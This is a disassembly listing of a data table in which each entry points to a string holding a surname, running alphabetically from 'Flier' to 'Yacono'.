		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
